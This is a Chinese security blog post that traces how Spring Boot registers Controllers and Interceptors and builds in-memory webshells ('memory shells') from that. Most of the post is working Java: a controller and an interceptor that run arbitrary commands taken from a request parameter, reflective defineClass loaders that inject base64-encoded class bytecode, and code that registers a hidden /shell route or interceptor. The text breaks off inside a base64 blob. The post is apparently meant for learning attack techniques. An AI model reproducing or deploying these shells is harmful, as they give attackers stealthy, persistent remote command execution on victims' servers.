前言
Spring框架比较常用就不说了,网上大部分都是建一个spring+springmvc的项目来测试内存马,内存马主要的逻辑部分都集中在springmvc的部分,因为负责处理路由请求基本都是都是需要经由springmvc,所以我看也有叫springmvc内存马的。
我这里就直接搭一个springboot项目比较方便了,反正本身也是有springmvc的,所以内部逻辑也是一样分析
版本如下
<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.10</version> <relativePath/> </parent>
|
Controller内存马
Contoller注册流程
我们要先知道Controller的注册逻辑
编写一个简单的controller然后下断点
package org.clown.springbootmemoryshell.contorller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController;
@RestController public class HelloController {
@GetMapping("/hello") public String hello() { return "Hello World"; } }
|
这里能看到请求处理的调用栈
在AbstractHandlerMethodMapping的initHandlerMethods方法下断点来看看是怎么注册controller的
从这个代码中也可以看到就是开始对每个扫描到的beanName对应的bean开始处理
进去看看他的process方法是怎么处理的
直接看对我们写的helloController是怎么处理,这里有个isHandler()方法
他会判断这个bean是否为Controller或者RequestMapping,很明显我们的这个会返回true
然后就会进到detectHandlerMethods方法,进去看一下这个方法
可以看到他会先获取对应的userType、handler、method,还有对应的Mapping,最后遍历类中的所有方法和mapping,然后调用一个registerHandlerMethod方法来进行注册绑定
这里的mapping从图中可以看到他的信息是被保存在RequestMappingInfo这个类中的,下面是该类中的一些属性
然后mapping的创建是在前面的getMappingForMethod方法创建的
进去看看
里面的具体流程就自己看看就行,总之他会解析方法上的注解,然后创建对应的RequestMappingInfo
再回到registerHandlerMethod注册方法这里
可以知道,最终就是调用的AbstractHandlerMethodMapping$MappingRegistry的register方法将路由和方法注册进去的,跟到这里就已经够了
所以我们要创建一个controller最终就是要调用MappingRegistry#register方法,调用这个方法的条件根据前面的分析可知
- bean实例
- 处理请求的method
- 对应的RequestMappinginfo对象
内存马实现
参考y4师傅的实现方式
首先我们要编写一个正常的controller类,也不能说正常就是去掉注解的controller,因为我们是手动加载的所以不需要注解
package org.clown.springbootmemoryshell.contorller;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; import java.util.Scanner;
public class TestController { public void test(HttpServletRequest request, HttpServletResponse response) { try { String arg0 = request.getParameter("code"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); } else { p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); }
Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A"); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404); } } catch (Exception var8) {
} } }
|
然后将他编译成.class文件,再拿他的base64编码的字符串用下面代码注入内存马
package org.clown.springbootmemoryshell.contorller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
@RestController public class HelloController {
@GetMapping("/hello") public String hello() throws Exception{ String code ="yv66vgAAADQAjQoAIQBJCABKCwBLAEwLAE0ATggATwgAUAoAUQBSCgAMAFMIAFQKAAwAVQcAVgcAVwgAWAgAWQoACwBaCABbCABcBwBdCgALAF4KAF8AYAoAEgBhCABiCgASAGMKABIAZAoAEgBlCgASAGYKAGcAaAoAZwBpCgBnAGYLAE0AagcAawcAbAcAbQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TG9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcjsBAAR0ZXN0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAVwcAbgcAVgcAXQcAawEAEE1ldGhvZFBhcmFtZXRlcnMBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEABi9zaGVsbAEABm1ldGhvZAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDsBAANHRVQBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQEAOExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVzdENvbnRyb2xsZXI7DAAiACMBAARjb2RlBwBvDABwAHEHAHIMAHMAdAEAAAEAB29zLm5hbWUHAHUMAHYAcQwAdwB4AQADd2luDAB5AHoBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHsBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAfAB9BwB+DAB/AIAMACIAgQEAAlxBDACCAIMMAIQAhQwAhgB4DACHACMHAG4MAIgAiQwAigAjDACLAIwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5b3JnL2Nsb3duL3NwcmluZ2Jvb3RtZW1vcnlzaGVsbC9jb250b3JsbGVyL1Rlc3RDb250cm9sbGVyAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAVjbG9zZQEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gBAAlzZW5kRXJyb3IBAAQoSSlWACEAIAAhAAAAAAACAAEAIgAjAAEAJAAAAC8AAQABAAAABSq3AAGxAAAAAgAlAAAABgABAAAADgAmAAAADAABAAAABQAnACgAAAABACkAKgADACQAAAGoAAYACAAAALMrEgK5AAMCAE4suQAEAQA6BC3GAJMSBToFEga4AAe2AAgSCbYACpkAIbsAC1kGvQAMWQMSDVNZBBIOU1kFLVO3AA86BqcAHrsAC1kGvQAMWQMSEFNZBBIRU1kFLVO3AA86BrsAElkZBrYAE7YAFLcAFRIWtgAXOgcZB7YAGJkACxkHtgAZpwAFGQU6BRkHtgAaGQQZBbYAGxkEtgAcGQS2AB2nAAwsEQGUuQAeAgCnAAROsQABAAAArgCxAB8AAwAlAAAASgASAAAAEgAJABMAEQAUABUAFQAZABcAKQAYAEcAGgBiAB0AeAAeAIwAHwCRACAAmAAhAJ0AIgCiACMApQAkAK4AKACxACYAsgApACYAAABcAAkARAADACsALAAGABkAiQAtAC4ABQBiAEAAKwAsAAYAeAAqAC8AMAAHAAkApQAxAC4AAwARAJ0AMgAzAAQAAACzACcAKAAAAAAAswA0ADUAAQAAALMANgA3AAIAOAAAACkACP4ARwcAOQcAOgcAOfwAGgcAO/wAJQcAPEEHADn4ABr5AAhCBwA9AAA+AAAACQIANAAAADYAAAA/AAAAGAABAEAAAgBBWwABcwBCAENbAAFlAEQARQACAEYAAAACAEcAPwAAAAYAAQBIAAA="; byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class}); m.setAccessible(true); m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.contorller.TestController",d, 0, d.length}); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null); RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class); Method mm = (Class.forName("org.clown.springbootmemoryshell.contorller.TestController").getDeclaredMethods())[0]; rs.registerMapping(info, Class.forName("org.clown.springbootmemoryshell.contorller.TestController").newInstance(), mm); return "Hello World"; } }
|
当我们访问hello路由的时候就能成功注入内存马
再去访问shell路由就能执行任意命令了
这里的实现要求服务器上得有你的恶意类,不然Class.forName这里就会报错,问了一下kimi他给出的理由如下:
- 类加载机制:
- Java的类加载机制是基于类加载器的。每个类加载器都有自己的类加载缓存。
- 当你使用
Class.forName
时,它会尝试从当前线程的上下文类加载器(Thread.currentThread().getContextClassLoader()
)加载类。
- 如果类是通过
defineClass
方法动态创建的,它不会被任何类加载器的缓存,因此无法通过Class.forName
找到。
defineClass
方法:
defineClass
方法是ClassLoader
类的一个方法,用于动态创建类。
- 通过
defineClass
创建的类不会被类加载器的缓存,因此无法通过常规的类加载机制找到。
后来在kimi的帮助下改成这样就可以了,就不用Class.forName,直接让他invoke的时候强转成Class就可以用了
修改后的
package org.clown.springbootmemoryshell.contorller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Constructor; import java.lang.reflect.Method;
@RestController public class HelloController {
@GetMapping("/hello") public String hello() throws Exception { String code ="yv66vgAAADQAhQoAIQBBCABCCwBDAEQLAEUARggARwgASAoASQBKCgAMAEsIAEwKAAwATQcATgcATwgAUAgAUQoACwBSCABTCABUBwBVCgALAFYKAFcAWAoAEgBZCABaCgASAFsKABIAXAoAEgBdCgASAF4KAF8AYAoAXwBhCgBfAF4LAEUAYgcAYwcAZAcAZQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TG9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcjsBAAR0ZXN0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcATwcAZgcATgcAVQcAYwEAEE1ldGhvZFBhcmFtZXRlcnMBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQwAIgAjAQAEY29kZQcAZwwAaABpBwBqDABrAGwBAAABAAdvcy5uYW1lBwBtDABuAGkMAG8AcAEAA3dpbgwAcQByAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAIgBzAQAHL2Jpbi9zaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAHQAdQcAdgwAdwB4DAAiAHkBAAJcQQwAegB7DAB8AH0MAH4AcAwAfwAjBwBmDACAAIEMAIIAIwwAgwCEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOW9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhACAAIQAAAAAAAgABACIAIwABACQAAAAvAAEAAQAAAAUqtwABsQAAAAIAJQAAAAYAAQAAAA0AJgAAAAwAAQAAAAUAJwAoAAAAAQApACoAAgAkAAABqAAGAAgAAACzKxICuQADAgBOLLkABAEAOgQtxgCTEgU6BRIGuAAHtgAIEgm2AAqZACG7AAtZBr0ADFkDEg1TWQQSDlNZBS1TtwAPOganAB67AAtZBr0ADFkDEhBTWQQSEVNZBS1TtwAPOga7ABJZGQa2ABO2ABS3ABUSFrYAFzoHGQe2ABiZAAsZB7YAGacABRkFOgUZB7YAGhkEGQW2ABsZBLYAHBkEtgAdpwAMLBEBlLkAHgIApwAETrEAAQAAAK4AsQAfAAMAJQAAAEoAEgAAABAACQARABEAEgAVABMAGQAVACkAFgBHABgAYgAbAHgAHACMAB0AkQAeAJgAHwCdACAAogAhAKUAIgCuACYAsQAkALIAJwAmAAAAXAAJAEQAAwArACwABgAZAIkALQAuAAUAYgBAACsALAAGAHgAKgAvADAABwAJAKUAMQAuAAMAEQCdADIAMwAEAAAAswAnACgAAAAAALMANAA1AAEAAACzADYANwACADgAAAApAAj+AEcHADkHADoHADn8ABoHADv8ACUHADxBBwA5+AAa+QAIQgcAPQAAPgAAAAkCADQAAAA2AAAAAQA/AAAAAgBA"; byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class}); m.setAccessible(true); Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.contorller.TestController", d, 0, d.length}); Constructor<?> constructor = clazz.getConstructor(); Object instance = constructor.newInstance(); System.out.println("Instance created: " + instance); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null); RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class); Method mm = clazz.getDeclaredMethods()[0]; rs.registerMapping(info, instance, mm);
return "Inject Successful!"; } }
|
Interceptor内存马
Interceptor是springMvc的组件,所以他只作用于Spring MVC的请求处理流程,只处理通过Spring MVC的请求
所以他和其他组件也是有区别的:
Filter
和Listener
在Servlet容器中配置,通常在web.xml
文件中或通过注解配置。
Interceptor
在Spring MVC中配置,通常在Spring的配置文件或配置类中。
- 执行顺序:
Filter
在Interceptor
之前执行,因为Filter
在请求到达Servlet之前就已经执行。
Interceptor
在Filter
之后、Controller之前执行。
Listener
在应用启动、关闭、会话创建、销毁时执行,与请求处理流程无关。
y4师傅的文章中总结的请求到达Controller的顺序:
HttpRequest –> Filter –> DispactherServlet –> Interceptor –> Aspect –> Controller
Interceptor编写
先编写一个简单的interceptor,和上面的controller一样可以执行命令的
package org.clown.springbootmemoryshell.interceptor;
import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader;
public class TestInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); if(code != null){ try { java.io.PrintWriter writer = response.getWriter(); ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); }else{ p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code}); } p.redirectErrorStream(true); Process process = p.start(); BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream())); String result = ""; StringBuilder results=new StringBuilder(); while((result=r.readLine())!=null){ results.append(result+"\r\n"); } System.out.println(results); writer.println(results); writer.flush(); writer.close(); }catch (Exception e){ } return false; } return true; }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }
|
然后再进行添加注册
package org.clown.springbootmemoryshell.configure;
import org.clown.springbootmemoryshell.interceptor.TestInterceptor; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration public class InterceptorConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new TestInterceptor()).addPathPatterns("/hello"); } }
|
Interceptor流程
emmm我本身打算配置类处打个断点分析interceptor的注册流程,但是看文章都是从处理请求的流程来分析的,估计是如果要动态注册的话我们应该是走不到配置类的手动addInterceptor的地方吗🤔
先按着网上的思路来吧,这个点到时有空的话研究一下🫡
那就直接在preHandle下个断点
然后看看调用栈,其中在DispatcherServlet#doDispatch方法里面看到了处理我们PreHandle方法的地方
这个applyPreHandle方法很明显就是处理我们PreHandle的方法,从返回值也可以推出,因为我们PreHandle返回的也是布尔值
从图中的变量值可以看到我们的interceptor就在这个mappedHandler变量当中
那就看看这个mappedHandler是怎么生成的
在doDispatch方法前面有一个getHandler方法,然后传入一个RequestFacade实例processedRequest,这个processedRequest是前面checkMultipart方法检查一下,该方法主要判断request是否为文件上传请求,不是的话则会原样返回
跟进去getHandler
然后就是遍历每一个HandlerMapping,然后从中取得HandlerExecutionChain实例,如果能找到请求对应的Handler就返回,继续跟进,调用了AbstractHandlerMapping#getHandler方法
这里首先获得一个handler,然后调用getHandlerExecutionChain返回了一个HandlerExecutionChain实例executionChain,看看这个方法
里面显示new了一个HandlerExecutionChain,然后遍历adaptedInterceptors里的interceptor添加进去他的interceptorList里面
interceptor有如下的这三种
再往下他就直接返回了这个executionChain
然后返回的handler也是这个
然后最终执行就是我们前面说的那个applyPreHandle方法
里面遍历了每个interprector然后进行调用
那现在我们就知道应该在哪里插入我们的interceptor了
内存马实现
根据前面的分析所有的interceptor是存在adaptedInterceptors里面,这个属性在org.springframework.web.servlet.handler.AbstractHandlerMapping里面
所以思路就是反射获取到这个变量,然后添加我们自己的恶意interceptor即可
编写的interceptor还是用我们一开始的那个TestInterceptor,现在先不把他加入配置,我们等会手动加入
然后编写内存马代码的步骤
- 首先获取应用的上下文环境,也就是
ApplicationContext
- 然后从
ApplicationContext
中获取 AbstractHandlerMapping
实例(用于反射),也有文章直接获取RequestMappingHandlerMapping也可以,下面写的就是用的这个
- 反射获取
AbstractHandlerMapping
类的 adaptedInterceptors
字段
- 通过
adaptedInterceptors
注册拦截器
package org.clown.springbootmemoryshell.contorller;
import org.clown.springbootmemoryshell.interceptor.TestInterceptor; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field; import java.util.List;
@RestController public class AddInterceptor {
@GetMapping("/interceptor") public String addInterceptor() { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } TestInterceptor evilInterceptor = new TestInterceptor(); adaptInterceptors.add(evilInterceptor); return "Interceptor added!"; } }
|
我们访问interceptor这个路由就会成功注册我们的interceptor
这里的实现也可以改一下,改成前面Controller的base64的形式,这样就不需要服务器有对应的类了
修改后的exp
package org.clown.springbootmemoryshell.contorller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.List;
@RestController public class AddInterceptor {
@GetMapping("/interceptor") public String addInterceptor() throws Exception{ WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } String code ="yv66vgAAADQArAoAKABeCABFCwBfAGALAGEAYggAYwoAZABlCgALAGYIAGcKAAsAaAcAaQcAaggAawgAbAoACgBtCABuCABvCgAKAHAKAAoAcQcAcgcAcwoAdAB1CgAUAHYKABMAdwgAeAcAeQoAGQBeCgATAHoKABkAewgAfAoAGQB9CQBkAH4KAH8AgAoAgQCACgCBAIIKAIEAgwcAhAsAKQCFCwApAIYHAIcHAIgHAIkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAPUxvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAFyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVzdWx0cwEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABGNvZGUBAA1TdGFja01hcFRhYmxlBwBqBwCKBwBpBwCHBwCLBwCMBwCIBwCNBwByBwB5BwCEAQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAPYWZ0ZXJDb21wbGV0aW9uAQB5KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL0V4Y2VwdGlvbjspVgEAAmV4AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAKU291cmNlRmlsZQEAFFRlc3RJbnRlcmNlcHRvci5qYXZhDAAqACsHAIsMAI4AjwcAjAwAkACRAQAHb3MubmFtZQcAkgwAkwCPDACUAJUBAAN3aW4MAJYAlwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACoAmAEACS9iaW4vYmFzaAEAAi1jDACZAJoMAJsAnAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwCNDACdAJ4MACoAnwwAKgCgAQAAAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAKEAlQwAogCjAQACDQoMAKQAlQwApQCmBwCnDACoAKkHAIoMAKoAKwwAqwArAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAVABVDABYAFkBADtvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcgEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABFqYXZ